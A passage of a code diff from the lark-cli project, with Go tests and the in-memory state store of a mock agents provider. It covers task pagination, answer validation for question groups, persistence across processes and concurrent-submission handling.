+	if !detail.AwaitingInput {
+		t.Error("awaiting_input should be true (t_b is input_required)")
+	}
+	if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
+		t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
+	}
+	if detail.ActiveTask.Summary != "按大区还是品类拆?" {
+		t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
+	}
+	if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
+		t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
+	}
+
+	// context list carries the same rollup.
+	ctxs, _, err := listContexts(context.Background(), rt, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(ctxs) != 1 {
+		t.Fatalf("expected 1 context, got %d", len(ctxs))
+	}
+	if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || !ctxs[0].AwaitingInput {
+		t.Errorf("context summary rollup wrong: %+v", ctxs[0])
+	}
+}
+
+// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
+// and that an input_required task prefers its pending prompt over the last agent
+// message.
+func TestTaskSummaryText(t *testing.T) {
+	long := strings.Repeat("字", 250)
+	got := taskSummaryText(agents.AgentTask{Messages: agentMessage(long)})
+	if n := len([]rune(got)); n != summaryMaxRunes {
+		t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
+	}
+	prompt := taskSummaryText(agents.AgentTask{
+		State:         agents.StateInputRequired,
+		InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "补充预算区间?"}}},
+		Messages:      agentMessage("忽略我"),
+	})
+	if prompt != "补充预算区间?" {
+		t.Errorf("input_required summary should be the pending question, got %q", prompt)
+	}
+	multi := taskSummaryText(agents.AgentTask{
+		State: agents.StateInputRequired,
+		InputRequired: &agents.InputRequired{Label: "报表生成确认",
+			Questions: []agents.Question{{QuestionID: "q1_x", Question: "a?"}, {QuestionID: "q2_x", Question: "b?"}}},
+	})
+	if multi != "报表生成确认（共 2 题）" {
+		t.Errorf("multi-question summary should be label + count, got %q", multi)
+	}
+}
+
+// agentMessage builds a single agent-role text message for seeding task fixtures.
+func agentMessage(text string) []agents.Message {
+	return []agents.Message{{Role: "agent", Parts: []agents.Part{{Type: "text", Text: text}}}}
+}
+
+// agentReply returns the first text reply from the agent role in the task.
+func agentReply(t *testing.T, task *agents.AgentTask) string {
+	t.Helper()
+	for _, m := range task.Messages {
+		if m.Role != "agent" {
+			continue
+		}
+		for _, part := range m.Parts {
+			if part.Type == "text" {
+				return part.Text
+			}
+		}
+	}
+	t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
+	return ""
+}
+
+// TestListTasksPagination pins the offset-cursor pagination of the store's
+// listTasks: seed 5 tasks in one context, walk them 2 at a time, and assert the
+// HasMore / NextToken contract plus no cross-page overlap. Ordering is
+// most-recent-first (Seq descending).
+func TestListTasksPagination(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+	rt := fakeRuntime{agentID: "echo"}
+	first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ctxID := first.ContextID
+	for _, text := range []string{"m1", "m2", "m3", "m4"} {
+		if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
+	if len(p1) != 2 {
+		t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
+	}
+	if !info1.HasMore || info1.NextToken == "" {
+		t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
+	}
+
+	p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info1.NextToken})
+	if len(p2) != 2 {
+		t.Fatalf("page 2 should have 2 tasks, got %d", len(p2))
+	}
+	if !info2.HasMore || info2.NextToken == "" {
+		t.Fatalf("page 2 should report more pages with a cursor, got %+v", info2)
+	}
+	seen := map[string]bool{p1[0].TaskID: true, p1[1].TaskID: true}
+	if seen[p2[0].TaskID] || seen[p2[1].TaskID] {
+		t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
+	}
+
+	p3, info3 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info2.NextToken})
+	if len(p3) != 1 {
+		t.Fatalf("page 3 (final) should have the last 1 task, got %d", len(p3))
+	}
+	if info3.HasMore || info3.NextToken != "" {
+		t.Fatalf("page 3 is the last page: HasMore=false, NextToken empty, got %+v", info3)
+	}
+}
+
+// TestListTasksPaginationExactBoundary pins the no-phantom-page contract when the
+// total is an exact multiple of the page size: 4 tasks at size 2 yield a full
+// first page (HasMore=true, NextToken="2") and a full SECOND page that is also
+// the last (HasMore=false, NextToken=""), never a spurious empty page 3.
+func TestListTasksPaginationExactBoundary(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+	rt := fakeRuntime{agentID: "echo"}
+	first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ctxID := first.ContextID
+	for _, text := range []string{"m1", "m2", "m3"} {
+		if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
+	if len(p1) != 2 {
+		t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
+	}
+	if !info1.HasMore || info1.NextToken != "2" {
+		t.Fatalf("page 1 should report more pages with NextToken \"2\", got %+v", info1)
+	}
+
+	p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: "2"})
+	if len(p2) != 2 {
+		t.Fatalf("page 2 (final) should have the last 2 tasks, got %d", len(p2))
+	}
+	if info2.HasMore || info2.NextToken != "" {
+		t.Fatalf("page 2 is the last page (no phantom empty page 3): HasMore=false, NextToken empty, got %+v", info2)
+	}
+}
+
+// TestListContextsPagination pins the same offset-cursor contract for the store's
+// listContexts: 3 contexts, page-size 2 → first page of 2 with more, then a final
+// page of 1 with no more.
+func TestListContextsPagination(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+	rt := fakeRuntime{agentID: "echo"}
+	for _, text := range []string{"c0", "c1", "c2"} {
+		if _, err := echoSend(ctx, rt, agents.SendInput{Text: text}); err != nil { // no ContextID ⇒ new context each time
+			t.Fatal(err)
+		}
+	}
+
+	p1, info1 := store.listContexts("echo", agents.PageParams{Size: 2})
+	if len(p1) != 2 {
+		t.Fatalf("page 1 should have 2 contexts, got %d", len(p1))
+	}
+	if !info1.HasMore || info1.NextToken == "" {
+		t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
+	}
+
+	p2, info2 := store.listContexts("echo", agents.PageParams{Size: 2, Token: info1.NextToken})
+	if len(p2) != 1 {
+		t.Fatalf("page 2 (final) should have the last 1 context, got %d", len(p2))
+	}
+	if info2.HasMore || info2.NextToken != "" {
+		t.Fatalf("page 2 is the last page: HasMore=false, NextToken empty, got %+v", info2)
+	}
+	if p1[0].ContextID == p2[0].ContextID || p1[1].ContextID == p2[0].ContextID {
+		t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
+	}
+}
+
+// TestPlannerCountAndAliasRules pins the remaining §4.2/§6.3 value rules the
+// main flow doesn't reach: count_violation on both branches (single-select
+// with two picks; text question with two bare values), the bare-value alias on
+// a text question (MUST be accepted as .text), and the .text supplement on a
+// single-select never counting toward cardinality.
+func TestPlannerCountAndAliasRules(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ir := t1.InputRequired
+	q1, q2, q3 := ir.Questions[0].QuestionID, ir.Questions[1].QuestionID, ir.Questions[2].QuestionID
+
+	// count_violation: two picks on the single-select, two bare texts on the
+	// text question.
+	_, err = plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID,
+		Answers: map[string][]string{
+			q1: {"by_region", "by_category"},
+			q2: {"a", "b"},
+			q3: {"east"},
+		},
+	})
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatal(err)
+	}
+	counts := 0
+	for _, ip := range verr.Params {
+		if ip.Reason == "count_violation" {
+			counts++
+		}
+	}
+	if counts != 2 {
+		t.Fatalf("both count_violation branches should fire, got %+v", verr.Params)
+	}
+
+	// Accept path: bare-value alias on the text question + .text supplement on
+	// the single-select (never counted toward cardinality).
+	done, err := plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID,
+		Answers: map[string][]string{
+			q1:           {"by_region"},
+			q1 + ".text": {"海外先不算"},
+			q2:           {"2024 全年"}, // bare alias of .text
+			q3:           {"east"},
+		},
+	})
+	if err != nil {
+		t.Fatalf("alias + supplement must be accepted: %v", err)
+	}
+	if done.State != agents.StateCompleted {
+		t.Fatalf("got %s", done.State)
+	}
+}
+
+// TestPlannerGroupSurvivesReload pins the §6.2 conformance promise: keys are
+// minted at creation and persist — a FRESH store instance (new process) replays
+// identical question ids, and answering with those ids still routes.
+func TestPlannerGroupSurvivesReload(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ids := []string{t1.InputRequired.Questions[0].QuestionID, t1.InputRequired.Questions[1].QuestionID, t1.InputRequired.Questions[2].QuestionID}
+
+	store = newMemoryStore(store.path) // simulate a fresh CLI process
+	got, err := getTask(ctx, rt, t1.TaskID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	for i, q := range got.InputRequired.Questions {
+		if q.QuestionID != ids[i] {
+			t.Fatalf("question ids must be identical across processes (render-time minting is non-conforming): %v vs %v", q.QuestionID, ids[i])
+		}
+	}
+	if _, err := plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(got.InputRequired),
+	}); err != nil {
+		t.Fatalf("answering with reloaded ids must route: %v", err)
+	}
+}
+
+// TestPlannerConcurrentAnswers pins §6.7 atomicity: two racing submissions get
+// exactly one winner; the loser sees failed_precondition with resolved_answers
+// equal to the winner's set.
+func TestPlannerConcurrentAnswers(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	answers := plannerAnswers(t1.InputRequired)
+	errsCh := make(chan error, 2)
+	for i := 0; i < 2; i++ {
+		go func() {
+			_, err := plannerSend(ctx, rt, agents.SendInput{
+				ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: answers,
+			})
+			errsCh <- err
+		}()
+	}
+	e1, e2 := <-errsCh, <-errsCh
+	if (e1 == nil) == (e2 == nil) {
+		t.Fatalf("exactly one submission must win, got %v / %v", e1, e2)
+	}
+	loser := e1
+	if loser == nil {
+		loser = e2
+	}
+	var verr *errs.ValidationError
+	if !errors.As(loser, &verr) || verr.ResolvedAnswers == nil {
+		t.Fatalf("loser must get failed_precondition with resolved_answers, got %v", loser)
+	}
+}

agents/example/state.go

@@ -0,0 +1,679 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package example
+
+import (
+	"crypto/rand"
+	"encoding/hex"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"sort"
+	"strconv"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/vfs"
+)
+
+// ============================================================================
+// In-memory state machine (teaching focus: concurrency safety of package-level
+// state + the CLI process boundary)
+//
+// A real provider's context/task state lives on the server, so the adapter is
+// naturally stateless; example is a pure mock and must manage state itself. Two
+// disciplines the integrator needs to know:
+//
+//  1. Concurrency safety: package-level mutable state must be locked. A single
+//     coarse-grained Mutex covers all reads and writes here — the mock does not
+//     chase throughput; correctness comes first.
+//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
+//     in-memory map does not survive a single command — after `send`, a
+//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
+//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
+//     demo chain work across commands. A real provider neither needs nor should
+//     have this layer — it is a mock-only demo device.
+//
+// Note that the snapshot is loaded lazily (only on the first real read/write of
+// state): provider registration is a pure declarative Register(Provider) call
+// (see agent/register.go) with no construction and no side effects, so nothing
+// touches store at registration time — the snapshot is read on the first hook
+// invocation, not at init.
+// ============================================================================
+
+// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
+// + creation sequence number (list output sorts by creation order to guarantee
+// stable enumeration).
+type taskRecord struct {
+	AgentID string           `json:"agent_id"`
+	Seq     int              `json:"seq"`
+	Task    agents.AgentTask `json:"task"`
+	// Accepted is the acceptance record of the task's question group (§10.1 key
+	// encoding), written atomically with the state transition: it is what a
+	// late/second submission gets echoed back as resolved_answers — the
+	// machine-readable "who won" signal.
+	Accepted map[string][]string `json:"accepted,omitempty"`
+}
+
+// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
+// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
+// demonstrate "context memory".
+type contextRecord struct {
+	AgentID   string   `json:"agent_id"`
+	ContextID string   `json:"context_id"`
+	CreatedAt string   `json:"created_at"`
+	Title     string   `json:"title,omitempty"`
+	Seq       int      `json:"seq"`
+	TaskIDs   []string `json:"task_ids"`
+}
+
+// memoryStore is the package-level state machine itself: mu covers all fields;
+// path is the JSON snapshot location; loaded ensures the snapshot is read only
+// once, on first access.
+type memoryStore struct {
+	mu     sync.Mutex
+	path   string
+	loaded bool
+
+	Contexts map[string]*contextRecord `json:"contexts"`
+	Tasks    map[string]*taskRecord    `json:"tasks"`
+	NextSeq  int                       `json:"next_seq"`
+}
+
+// store is the package-level singleton. Tests use swapStoreForTest to replace it
+// with an instance pointing at t.TempDir, avoiding cross-contamination between
+// tests and between tests and the local demo state.
+var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agents.json"))
+
+func newMemoryStore(path string) *memoryStore {
+	return &memoryStore{
+		path:     path,
+		Contexts: map[string]*contextRecord{},
+		Tasks:    map[string]*taskRecord{},
+	}
+}
+
+// loadLocked lazily reads in the snapshot (the caller must already hold the
+// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
+// mock's demo data is not worth erroring over, so it just starts fresh.
+func (s *memoryStore) loadLocked() {
+	if s.loaded {
+		return
+	}
+	s.loaded = true
+	data, err := vfs.ReadFile(s.path)
+	if err != nil {
+		return
+	}
+	var snap memoryStore
+	if json.Unmarshal(data, &snap) != nil {
+		return
+	}
+	if snap.Contexts != nil {
+		s.Contexts = snap.Contexts
+	}
+	if snap.Tasks != nil {
+		s.Tasks = snap.Tasks
+	}
+	s.NextSeq = snap.NextSeq
+}
+
+// saveLocked writes the current state back to the snapshot (the caller must
+// already hold the lock). A write failure returns a typed internal error
+// (storage subtype) — the mock does not swallow errors either: silently losing
+// state would make the next command report "task not found", which is harder to
+// diagnose than a clear error.
+func (s *memoryStore) saveLocked() error {
+	data, err := json.MarshalIndent(s, "", "  ")
+	if err != nil {
+		return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
+	}
+	if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
+		return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
+	}
+	return nil
+}
+
+// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
+// deliberately aligns with the command layer's meta.next interpolation
+// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
+// string "the AI copies and runs", and an id with shell metacharacters would
+// cause the whole hint to be suppressed.
+func newID(prefix string) string {
+	var b [6]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		// crypto/rand being unavailable is an environment-level failure; the mock
+		// degrades to a timestamp that still satisfies the character set.
+		return prefix + "_" + time.Now().UTC().Format("20060102150405")
+	}
+	return prefix + "_" + hex.EncodeToString(b[:])
+}
+
+// newGroupSuffix mints the per-group question-id suffix (4 hex chars,
+// key-safe): random at GROUP-CREATION time — the randomness is what makes a
+// successor group's minted ids necessarily differ (§6.2 cross-group
+// uniqueness), which in turn is what makes a stale retry hit unknown_question
+// instead of silently answering the next group.
+func newGroupSuffix() string {
+	var b [2]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		return time.Now().UTC().Format("0405")
+	}
+	return hex.EncodeToString(b[:])
+}
+
+// createContext creates a new context and returns its id (the first-turn send goes here).
+func (s *memoryStore) createContext(agentID, title string) (string, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	id := newID("ctx")
+	s.NextSeq++
+	s.Contexts[id] = &contextRecord{
+		AgentID:   agentID,
+		ContextID: id,
+		CreatedAt: time.Now().UTC().Format(time.RFC3339),
+		Title:     title,
+		Seq:       s.NextSeq,
+	}
+	return id, s.saveLocked()
+}
+
+// createTask appends a task under ctxID: validate context ownership → compute
+// the round (which task number in this conversation) → call build under the lock
+// to construct the task → insert and write the snapshot. build runs inside the
+// lock to guarantee "compute the round" and "store the task" are atomic, so two
+// concurrent sends never get the same round.
+// An unknown / cross-agents context id returns a typed validation error (teaching
+// point: every error a provider returns must be typed — a bare error would land
+// as internal/exit 5, whereas this is clearly "the caller passed a wrong
+// argument", semantically invalid_argument/exit 2, and the AI relies on this
+// classification to decide between "fix the argument and retry" and "report an
+// environment failure").
+func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agents.AgentTask) (agents.AgentTask, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
+	}
+	task := build(len(ctx.TaskIDs) + 1)
+	// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
+	// created_at == updated_at; a real provider bumps updated_at on every status
+	// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
+	// lexicographic order equals chronological order (relied on by the rollup).
+	now := time.Now().UTC().Format(time.RFC3339)
+	task.CreatedAt = now
+	task.UpdatedAt = now
+	s.NextSeq++
+	s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
+	ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
+	return task, s.saveLocked()
+}
+
+// getTask fetches a task snapshot by id (returns a copy by value, so the command
+// layer's in-place edits like normalizeTask do not write through to store). A
+// cross-agents task is treated as "not found", without leaking another agent's state.
+func (s *memoryStore) getTask(agentID, taskID string) (agents.AgentTask, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	rec, ok := s.Tasks[taskID]
+	if !ok || rec.AgentID != agentID {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
+			WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
+	}
+	task := rec.Task
+	// AgentTask is returned by value, but InputRequired is a pointer — clone it
+	// so the command layer's in-place normalization can never write through into
+	// the store (one-process runs must behave like per-process runs).
+	task.InputRequired = cloneGroup(rec.Task.InputRequired)
+	return task, nil
+}
+
+// cloneGroup deep-copies a question group (nil-safe).
+func cloneGroup(ir *agents.InputRequired) *agents.InputRequired {
+	if ir == nil {
+		return nil
+	}
+	out := *ir
+	out.Questions = make([]agents.Question, len(ir.Questions))
+	for i, q := range ir.Questions {
+		out.Questions[i] = q
+		out.Questions[i].Options = append([]agents.Option(nil), q.Options...)
+	}
+	return &out
+}
+
+// setTaskState updates a task's state (used by reporter's cancel).
+func (s *memoryStore) setTaskState(taskID string, state agents.TaskState) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	rec, ok := s.Tasks[taskID]
+	if !ok {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
+	}
+	rec.Task.State = state
+	rec.Task.IsTerminal = state.IsTerminal()
+	rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
+	return s.saveLocked()
+}
+
+// answerGroup applies a group answer (§10.1 key encoding) to a task's pending
+// input_required question group. It is the mock's stand-in for a STRICT-posture
+// server (a form backend): every question required, bare values validated
+// against the stored options, single-select cardinality enforced, the skip
+// option exclusive — with every violation collected into ONE ValidationError
+// (params[] entries with the Reason enum + the question declaration as Spec) so
+// the caller fixes everything in a single resend. A tolerant LLM-backed
+// provider may instead consume partial/free answers — validation POLICY is the
+// provider's own; only the error FORMAT here is contractual.
+//
+// Acceptance is atomic under the store lock (validate → record Accepted →
+// leave input_required in one critical section, the reply message inside it) —
+// two racing submissions get exactly one winner; the loser (and any late
+// retry) gets failed_precondition carrying resolved_answers, the
+// machine-readable "already decided, here is what won" signal.
+func (s *memoryStore) answerGroup(agentID, ctxID, taskID string, answers map[string][]string, remark string) (agents.AgentTask, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	rec, ok := s.Tasks[taskID]
+	if !ok || rec.AgentID != agentID {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
+			WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
+	}
+	// context_id+task_id is the group's unique address (§2.1) — the CLI forces
+	// both flags for that binding, so honoring only half of it here would teach
+	// integrators to silently ignore the other half.
+	if ctxID != "" && ctxID != rec.Task.ContextID {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"context_id '%s' 与任务 '%s' 所属会话不符", ctxID, taskID).
+			WithHint("用 lark-cli agents task get example:%s %s 确认该任务的 context_id", agentID, taskID)
+	}
+	ir := rec.Task.InputRequired
+	if rec.Task.State != agents.StateInputRequired || ir == nil {
+		e := errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"任务 '%s' 已不在等待输入", taskID).
+			WithHint("用 lark-cli agents task get example:%s %s 查看当前状态与结果", agentID, taskID)
+		if rec.Accepted != nil {
+			// The group was already resolved (another endpoint, or a retry whose
+			// first attempt landed): echo what won, machine-readable.
+			e = e.WithResolvedAnswers(rec.Accepted)
+		}
+		return agents.AgentTask{}, e
+	}
+
+	byID := make(map[string]agents.Question, len(ir.Questions))
+	currentIDs := make([]string, 0, len(ir.Questions))
+	for _, q := range ir.Questions {
+		byID[q.QuestionID] = q
+		currentIDs = append(currentIDs, q.QuestionID)
+	}
+
+	// Deterministic violation order: sorted answer keys, then missing questions
+	// in group order.
+	keys := make([]string, 0, len(answers))
+	for k := range answers {
+		keys = append(keys, k)
+	}
+	sort.Strings(keys)
+
+	var viols []errs.InvalidParam
+	answered := make(map[string]bool, len(answers))
+	for _, key := range keys {
+		values := answers[key]
+		qid, isText := agents.SplitAnswerKey(key)
+		q, known := byID[qid]
+		if !known {
+			// A stale retry (the group changed under the caller) lands exactly
+			// here — Suggestions carries the CURRENT group's keys so the caller
+			// can tell "typo" from "new group" without a discovery round-trip.
+			viols = append(viols, errs.InvalidParam{Name: key, Reason: "unknown_question",
+				Suggestions: currentIDs})
+			continue
+		}
+		answered[qid] = true
+		if isText {
+			// Free text is always consumable here (the strict-but-LLM-ish demo
+			// posture); a pure form backend MAY reject it with reason
+			// invalid_option-style clarity instead — never silently drop it.
+			if len(q.Options) == 0 {
+				if _, both := answers[qid]; both {
+					viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
+				}
+			}
+			continue
+		}
+		if len(q.Options) == 0 {
+			// Text question answered via the bare-value alias: legal, but only one
+			// text per question.
+			if len(values) > 1 {
+				viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
+			}
+			continue
+		}
+		picked := 0
+		for _, v := range values {
+			if _, ok := optionLabel(q.Options, v); !ok {
+				viols = append(viols, errs.InvalidParam{Name: key, Reason: "invalid_option", Spec: q})
+			} else {
+				picked++
+			}
+		}
+		if !q.MultiSelect && len(values) > 1 {
+			viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
+		}
+		if picked > 1 && hasValue(values, "skip") {
+			// planner's own policy: its skip option means "let the agent decide"
+			// and is exclusive with real picks.
+			viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
+		}
+	}
+	// Strict posture: every question of the group is required.
+	for _, q := range ir.Questions {
+		if !answered[q.QuestionID] {
+			viols = append(viols, errs.InvalidParam{Name: q.QuestionID, Reason: "missing", Spec: q})
+		}
+	}
+	if len(viols) > 0 {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"%d 个答案有问题", len(viols)).
+			WithParams(viols...).
+			WithHint("按 params 里的题目声明修正后整组重发（含未报错的题）")
+	}
+
+	// Atomic acceptance: record + reply + state transition in one critical
+	// section, snapshot write last.
+	rec.Accepted = answers
+	rec.Task.State = agents.StateCompleted
+	rec.Task.IsTerminal = true
+	if remark != "" {
+		// The §4.1 message-level remark (--text alongside --answer) is part of
+		// the user's message — record it, never silently drop it (§6.4).
+		rec.Task.Messages = append(rec.Task.Messages, agents.Message{
+			Role: "user", Parts: []agents.Part{{Type: "text", Text: remark}},
+		})
+	}
+	rec.Task.Messages = append(rec.Task.Messages, agents.Message{
+		Role:  "agent",
+		Parts: []agents.Part{{Type: "text", Text: acceptanceReply(ir, answers)}},
+	})
+	rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339)
+	return rec.Task, s.saveLocked()
+}
+
+// acceptanceReply composes the post-acceptance agent message, resolving option
+// ids back to labels from the stored group — the §6.1 store-and-resolve
+// pattern: the wire carried keys, the business reads values.
+func acceptanceReply(ir *agents.InputRequired, answers map[string][]string) string {
+	var parts []string
+	for _, q := range ir.Questions {
+		var vals []string
+		for _, v := range answers[q.QuestionID] {
+			if label, ok := optionLabel(q.Options, v); ok {
+				vals = append(vals, label)
+			} else {
+				vals = append(vals, v)
+			}
+		}
+		vals = append(vals, answers[q.QuestionID+agents.AnswerTextSuffix]...)
+		if len(vals) > 0 {
+			parts = append(parts, q.Question+"「"+strings.Join(vals, "、")+"」")
+		}
+	}
+	return "已按答复出报表：" + strings.Join(parts, "；")
+}
+
+// hasValue reports whether vals contains v.
+func hasValue(vals []string, v string) bool {
+	for _, x := range vals {
+		if x == v {
+			return true
+		}
+	}
+	return false
+}
+
+// optionLabel returns the label of optionID within opts (ok=false if not found).
+func optionLabel(opts []agents.Option, optionID string) (string, bool) {
+	for _, o := range opts {
+		if o.OptionID == optionID {
+			return o.Label, true
+		}
+	}
+	return "", false
+}
+
+// pageWindow computes the [lo,hi) slice bounds and the resulting PageInfo for an
+// offset-cursor paginated list of `total` items. The token is an opaque offset —
+// strconv.Itoa of the first item's index; an unparseable / negative token is
+// leniently treated as offset 0 (the store is a mock, so it does not reject a bad
+// cursor). Size<=0 returns all remaining items (the CLI always passes ≥1). The
+// NextToken is the offset just past this page (lo+len), set only when more items
+// remain.
+func pageWindow(total int, page agents.PageParams) (lo, hi int, info agents.PageInfo) {
+	if page.Token != "" {
+		if n, err := strconv.Atoi(page.Token); err == nil && n > 0 {
+			lo = n
+		}
+	}
+	if lo > total {
+		lo = total
+	}
+	hi = total
+	if page.Size > 0 && lo+page.Size < total {
+		hi = lo + page.Size
+	}
+	if hi < total {
+		info = agents.PageInfo{NextToken: strconv.Itoa(hi), HasMore: true}
+	}
+	return lo, hi, info
+}
+
+// listTasks lists an agent's task summaries, optionally filtered by contextID
+// (empty string means no filter), MOST-RECENT-FIRST (Seq descending — Seq grows
+// with creation, so descending is newest first; example tasks are terminal at
+// creation so Seq desc equals UpdatedAt desc), then paginated by page. IsTerminal
+// is carried along here for convenience, but the command layer re-derives it from
+// State via normalizeTask* (single source), so the integrator need not worry
+// about this field.
+func (s *memoryStore) listTasks(agentID, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	recs := make([]*taskRecord, 0, len(s.Tasks))
+	for _, rec := range s.Tasks {
+		if rec.AgentID != agentID {
+			continue
+		}
+		if contextID != "" && rec.Task.ContextID != contextID {
+			continue
+		}
+		recs = append(recs, rec)
+	}
+	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
+	lo, hi, info := pageWindow(len(recs), page)
+	out := make([]agents.TaskSummary, 0, hi-lo)
+	for _, rec := range recs[lo:hi] {
+		out = append(out, taskSummaryOf(rec.Task))
+	}
+	return out, info
+}
+
+// listContexts lists an agent's context summaries, MOST-RECENT-FIRST (Seq
+// descending — newest first), then paginated by page.
+func (s *memoryStore) listContexts(agentID string, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	recs := make([]*contextRecord, 0, len(s.Contexts))
+	for _, ctx := range s.Contexts {
+		if ctx.AgentID == agentID {
+			recs = append(recs, ctx)
+		}
+	}
